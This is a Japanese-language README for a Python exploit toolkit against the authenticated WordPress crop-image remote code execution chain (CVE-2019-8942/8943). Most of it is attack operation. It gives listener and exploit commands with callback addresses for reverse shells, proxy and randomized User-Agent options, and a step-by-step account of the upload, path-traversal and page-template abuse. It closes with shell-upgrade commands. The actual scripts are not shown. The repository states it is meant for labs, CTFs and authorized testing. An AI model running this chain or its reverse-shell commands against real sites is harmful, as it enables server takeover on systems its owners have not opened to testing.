WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 用の Python エクスプロイト ツールキット
認証済みWordPressの画像切り抜き(crop-image)エクスプロイトチェーンをPython3で実装しました。このリポジトリは、手動OSCPスタイルのスクリプトと、リバースシェルハンドラを内蔵した完全自動スクリプトの2つの独立したワークフローで構成されています。
認可されたラボ、CTF、トレーニングプラットフォーム、またはテストの明示的な許可があるシステムでのみ使用してください。
このエクスプロイトチェーンが対象とする脆弱性は以下に追跡されています。
CVE-2019-8942CVE-2019-8943この脆弱性に対する公開されているMetasploitモジュールでは、影響を受けるバージョンは次のように説明されています。
WordPress 5.0.0 および WordPress <= 4.9.8
メディアのアップロード・編集権限を持つ有効なWordPressアカウントが必要です。多くのラボ環境では、Authorレベルのユーザーで十分です。
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg はOSCPスタイルスクリプトがデフォルトで使用するJPGキャリアファイルです。手動ワークフローがランダムな画像を探さずにすぐに動作するように用意されています。
autoexploit.py は自己完結型で、内部に16進数エンコードされたJPGキャリアを持っていますが、-i オプションでカスタムJPGを指定することもできます。
python3 -m pip install -r requirements.txt
必要なPythonパッケージは次の1つだけです。
requests
SOCKSプロキシをサポートしたい場合は、環境内でSocks拡張機能付きのrequestsをインストールしてください。
python3 -m pip install 'requests[socks]'
| スクリプト | 最適な用途 | 画像処理 | シェル処理 |
|---|---|---|---|
exploit_oscp.py | OSCPスタイル/手動エクスプロイト | デフォルトで image.jpg を使用、または -i custom.jpg | 手動で nc を起動 |
autoexploit.py | 高速なラボ利用と繰り返しテスト | デフォルトで埋め込み16進数JPGを使用、または -i custom.jpg | リスナーを起動し、コールバックをトリガーし、対話型コンソールを開く |
どちらのスクリプトもスタンドアロンです。互いのコードをインポートしていません。
exploit_oscp.py はワークフローを明示的に保ちます。画像キャリアを準備し、認証済みWordPressエクスプロイトチェーンを実行し、コマンド実行を確認し、手動で起動したリスナーへのリバースシェルをトリガーします。
ハンドラを自動的に起動せず、Metasploit、Meterpreter、msfvenomも使用しません。
まずリスナーを起動します。
nc -lvnp 443
デフォルトの image.jpg を使用してエクスプロイトを実行します。
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| オプション | 必須 | デフォルト | 説明 |
|---|---|---|---|
-t, --target | はい | なし | ターゲットWordPressのベースURL。例:http://target.local/ |
-u, --username | はい | なし | WordPressユーザー名 |
-p, --password | はい | なし | WordPressパスワード |
-i, --image | いいえ | image.jpg | 準備してアップロードするJPGキャリア |
--lhost | はい | なし | コールバックIP。通常はVPN/tun0のIP |
--lport | はい | なし | 手動リスナーが待機しているポート |
--proxy | いいえ | なし | プロキシURL。例:http://127.0.0.1:8080 または socks5://127.0.0.1:9050 |
--user-agent | いいえ | 組み込み | カスタムUser-Agentヘッダー |
--random-user-agent | いいえ | 無効 | ランダムなブラウザ風User-Agentを使用 |
--timeout | いいえ | 20 | HTTPタイムアウト(秒) |
--debug | いいえ | 無効 | HTTPデバッグ出力を表示し、失敗した応答を保存 |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py は速度を重視して設計されています。ターゲットと認証情報のみで実行でき、コールバックIPとリスナーポートを自動的に選択しようとします。
完全なエクスプロイトフローを実行し、ローカルリスナーを起動し、複数のリバースシェルペイロードスタイルを試し、カラー化されたローカルステータスメッセージと静かなTTYアップグレード処理を備えた、よりクリーンな対話型コンソールを開きます。
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| オプション | 必須 | デフォルト | 説明 |
|---|---|---|---|
-t, --target | はい | なし | ターゲットWordPressのベースURL |
-u, --username | はい | なし | WordPressユーザー名 |
-p, --password | はい | なし | WordPressパスワード |
-i, --image | いいえ | 埋め込み16進数JPG | オプションのカスタムJPGキャリア |
--lhost | いいえ | 自動検出 | リバースシェルで使用するコールバックIP |
--lport | いいえ | 空きローカルポート | ローカルリスナーポート |
--listen-timeout | いいえ | 12 | 各リバースシェル試行の待機時間(秒) |
--proxy | いいえ | なし | プロキシURL。例:http://127.0.0.1:8080 または socks5://127.0.0.1:9050 |
--user-agent | いいえ | 組み込み | カスタムUser-Agentヘッダー |
--random-user-agent | いいえ | 無効 | ランダムなブラウザ風User-Agentを使用 |
--timeout | いいえ | 20 | HTTPタイムアウト(秒) |
--debug | いいえ | 無効 | HTTPデバッグ出力を表示し、失敗した応答を保存 |
Burp経由のHTTPプロキシ:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKSプロキシ:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
カスタムUser-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
ランダムUser-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
これは通常のPHPアップロードではありません。WordPressは画像コンテンツを期待し、メディアエディターでファイルを処理し、切り抜き画像を作成します。次にエクスプロイトチェーンは、添付ファイルのメタデータとパストラバーサルを悪用して、切り抜き画像をアクティブなテーマディレクトリ内に配置します。最後に、切り抜きファイルがページテンプレートとして参照されるため、WordPressはそれをPHPとしてインクルードします。
脆弱なEXIFメタデータにPHPを配置したランダムなJPGは、GDが切り抜き処理中にメタデータを削除または再エンコードする可能性があるため、失敗する可能性があります。このリポジトリはワークフローを明確に保ちます。
exploit_oscp.py は、デフォルトで同梱の image.jpg を使用するか、-i で指定されたカスタム画像を使用します。autoexploit.py は内部に16進数キャリアを含んでいるため、自己完結型です。async-upload.php を通じてJPGキャリアをアップロードする。_wp_attached_file の操作を利用して、切り抜き出力パスに影響を与える。_wp_page_template を切り抜きJPG名に設定する。0 GETパラメータを通じてコマンド実行を確認する。WordPressのバージョンが脆弱であり、アカウントがメディアのアップロードと編集ができることを確認してください。
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
コールバックIPとリスナーを確認してください。
ip addr show tun0
nc -lvnp 443
その後、正しい --lhost を指定してOSCPスクリプトを再実行してください。
プロキシオプションを明示的に使用してください。
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKSサポートをインストールしてください。
python3 -m pip install 'requests[socks]'
基本的なリバースシェルはしばしば制限があります。自動スクリプトはセッションを自動的にアップグレードしようとします。OSCPモードでは、コールバック受信後に手動でアップグレードしてください。
python3 -c 'import pty; pty.spawn("/bin/bash")'
ローカルで Ctrl+Z を押し、次に以下を実行します。
stty raw -echo; fg
シェル内で:
export TERM=xterm
exploit_oscp.py は意図的に手動です。
autoexploit.py への依存はありません。LHOST と LPORT。意図したワークフローは次のとおりです。
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
研究と脆弱性チェーンは、元の研究者によって公開文書化され、後に公開されたエクスプロイトフレームワークに実装されました。
Python実装とラボワークフローは SpeatX によるものです。
このリポジトリは、認可されたセキュリティテスト、CTF、トレーニングラボ、教育研究のために提供されています。
自分が所有していない、またはテストの明示的な許可がないシステムに対して実行しないでください。